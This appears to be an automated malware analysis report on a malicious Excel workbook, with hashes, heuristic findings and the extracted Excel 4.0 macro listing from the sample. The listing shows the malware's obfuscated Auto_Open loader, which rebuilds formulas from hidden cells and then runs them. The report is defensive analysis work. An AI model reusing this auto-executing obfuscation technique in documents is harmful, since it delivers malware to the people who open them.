Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd4e8e0fd585c181…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:43 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 8012d8e92997788ba4d64c50e907a8de SHA-1: 8ce95bc91bc7deebd53c8d20cfff4c801ce654eb SHA-256: dd4e8e0fd585c1811d0c6a28405310bc0d5128080a618ee5558debcb79b87a47
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6697 bytes
SHA-256: 70b6ab30d866ba669dd020456f908e1565d14a98f183f6bc222c1d1009b1e9a7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hEXimNRWNGM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D160 
' 0018     25 LABEL : Cell Value, String Constant - csHKdngKDR len=0 
' 0018     22 LABEL : Cell Value, String Constant - cueMZXj len=0 
' 0018     26 LABEL : Cell Value, String Constant - DKoAUfVfZCP len=0 
' 0018     21 LABEL : Cell Value, String Constant - DWnUcd len=0 
' 0018     24 LABEL : Cell Value, String Constant - IByxsZDck len=0 
' 0018     27 LABEL : Cell Value, String Constant - IEmMPmXkNDcw len=0 
' 0018     21 LABEL : Cell Value, String Constant - ilHBsf len=0 
' 0018     22 LABEL : Cell Value, String Constant - kaUqVXC len=0 
' 0018     25 LABEL : Cell Value, String Constant - KwCzCHwLec len=0 
' 0018     26 LABEL : Cell Value, String Constant - lClvwBMKnIU len=0 
' 0018     20 LABEL : Cell Value, String Constant - lmFRi len=0 
' 0018     26 LABEL : Cell Value, String Constant - mQbyvOaCzNC len=0 
' 0018     21 LABEL : Cell Value, String Constant - NoKHWm len=0 
' 0018     24 LABEL : Cell Value, String Constant - RWAlTwxRh len=0 
' 0018     22 LABEL : Cell Value, String Constant - UcsvHJx len=0 
' 0018     27 LABEL : Cell Value, String Constant - uXsZDuRVUAjM len=0 
' 0018     24 LABEL : Cell Value, String Constant - wlSLIyuuY len=0 
' 0018     21 LABEL : Cell Value, String Constant - xLnBCW len=0 
' 0018     23 LABEL : Cell Value, String Constant - XzRHjmJt len=0 
' 0018     20 LABEL : Cell Value, String Constant - ycipT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hEXimNRWNGM,D66,"SET.NAME("xLnBCW",VALUE("0"))",""
'  hEXimNRWNGM,D69,"SET.NAME("mQbyvOaCzNC",xLnBCW)",""
'  hEXimNRWNGM,D74,"SET.NAME("DWnUcd",xLnBCW)",""
'  hEXimNRWNGM,D78,"SET.NAME("lClvwBMKnIU",COUNTA(RWAlTwxRh))",""
'  hEXimNRWNGM,D83,"SET.NAME("csHKdngKDR",COUNTA(uXsZDuRVUAjM))",""
'  hEXimNRWNGM,D87,[],""
'  hEXimNRWNGM,D89,"SET.NAME("wlSLIyuuY","")",""
'  hEXimNRWNGM,D91,"mQbyvOaCzNC",""
'  hEXimNRWNGM,D96,"SET.NAME("NoKHWm",HLOOKUP("*",RWAlTwxRh,mQbyvOaCzNC,FALSE))",""
'  hEXimNRWNGM,D99,"KwCzCHwLec",""
'  hEXimNRWNGM,D103,"SET.NAME("IByxsZDck",xLnBCW)",""
'  hEXimNRWNGM,D107,[],""
'  hEXimNRWNGM,D109,"IByxsZDck",""
'  hEXimNRWNGM,D114,"DKoAUfVfZCP",""
'  hEXimNRWNGM,D118,"kaUqVXC",""
'  hEXimNRWNGM,D121,"UcsvHJx",""
'  hEXimNRWNGM,D126,"SET.NAME("ycipT",VALUE(HLOOKUP("*",uXsZDuRVUAjM,UcsvHJx,FALSE)))",""
'  hEXimNRWNGM,D128,"ilHBsf",""
'  hEXimNRWNGM,D133,"wlSLIyuuY",""
'  hEXimNRWNGM,D136,"DWnUcd",""
'  hEXimNRWNGM,D139,NEXT(),""
'  hEXimNRWNGM,D141,"cueMZXj",""
'  hEXimNRWNGM,D143,"SET.NAME("f",INT(T(FORMULA(T(wlSLIyuuY)&"",""&T(cueMZXj)))))",""
'  hEXimNRWNGM,D148,"IEmMPmXkNDcw",""
'  hEXimNRWNGM,D152,NEXT(),""
'  hEXimNRWNGM,D155,RETURN(),""
'  hEXimNRWNGM,D183,"SET.NAME("lmFRi",D66)",""
'  hEXimNRWNGM,D187,"RWAlTwxRh",""
'  hEXimNRWNGM,D190,"SET.NAME("uXsZDuRVUAjM",R86C14)",""
'  hEXimNRWNGM,D193,"SET.NAME("IEmMPmXkNDcw",199)",""
'  hEXimNRWNGM,D196,"SET.NAME("XzRHjmJt",4)",""
'  hEXimNRWNGM,D198,lmFRi(),""
'  hEXimNRWNGM,D199,HALT(),""